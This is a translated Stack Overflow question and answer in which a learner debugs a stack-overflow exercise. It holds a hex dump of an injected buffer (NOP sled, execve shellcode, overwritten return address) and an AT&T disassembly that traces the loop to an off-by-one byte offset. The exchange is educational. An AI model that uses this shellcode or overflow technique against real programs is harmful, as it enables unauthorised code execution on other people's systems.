从shellcode运行文件

时间:2014-04-30 06:38:48

标签: linux assembly stack-overflow shellcode

我正在学习使用shellcode进行堆栈攻击。我把一切都整理好了,我的shellcode似乎一直工作到最后一条指令0xcd 0x80。在shellcode结束时应该发生的是中断被发送(从shellcode分支出来),并且应该执行包含更多指令的文件。如果我在命令行输入xxx/aa,我的文件就会运行(该文件名为aa,并且位于名为xxx的目录中。)

我的插入代码的字节表示如下:

0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000d0: 9090 9090 eb16 5b31 c088 4307 895b 0889  ......[1..C..[..
00000e0: 430c b00b 8d4b 088d 530c cd80 e8e5 ffff  C....K..S.......
00000f0: ff78 7878 2f61 612f 7841 4141 4142 4242  .xxx/aa/xAAAABBB
0000100: 4241 4141 4114 f2ff bf0a                 BAAAA0....

这两个插入我的shellcode并完美地放置新的返回地址。但是,当我运行此代码时,我会陷入无限循环。行0xcd 0x80用于发送中断并提供参数xxx/aa,就像我在命令行输入一样。但是,该程序不是执行此行,而是继续运行。由于下一行是对shellcode开头的回调,因此创建了一个无限循环。没有0xcd 0x80行来打破shellcode,就没有办法解决这个问题。

我做错了什么?如何在我的shell代码中获得此命令行行为。非常感谢!

1 个答案:

答案 0 :(得分:0)

代码的反汇编看起来像这样(这里是AT& T语法):

    jmp    pos2
pos1:
    pop    %ebx
    xor    %eax,%eax
    mov    %al,dbyte1-data(%ebx)
    mov    %ebx,dlong1-data(%ebx)
    mov    %eax,dlong2-data(%ebx)
    mov    $0xb,%al
    lea    dlong1-data(%ebx),%ecx
    lea    dlong2-data(%ebx),%edx
    int    $0x80
pos2:
    call   pos1
data:
    .ascii "xxx/aa/"
dbyte1:
    .byte  dont_care // ebx+dbyte1-data = ebx+7
dlong1:
    .long  dont_care // ebx+dlong1-data = ebx+8
dlong2:
    .long  dont_care // ebx+dlong2-data = ebx+0xC
    .byte  dont_care // "AAAA0"

首先你可以看到,如果“execve”系统调用(我假设0xB是execve)将失败,这段代码将在无限循环中运行。然而,Execve将失败,因为“xxx / aa /”不是有效的文件名。似乎“mov%al,0x7(%ebx)”应该是“0x6(%ebx)”。

正如“Giel”所写的那样,您可以使用“strace”命令来查看是否真的使用“xxx / aa /”而不是“xxx / aa”作为文件名调用execve。

请注意,您应该记住下一个项目(不适用于此项目):

大多数Linux可执行文件都为堆栈和数据页设置了“NX”位。这意味着CPU将不允许从堆栈或数据段执行代码。这意味着shellcode的执行在大多数Linux程序中都不起作用,但程序将因总线异常或类似异常而停止。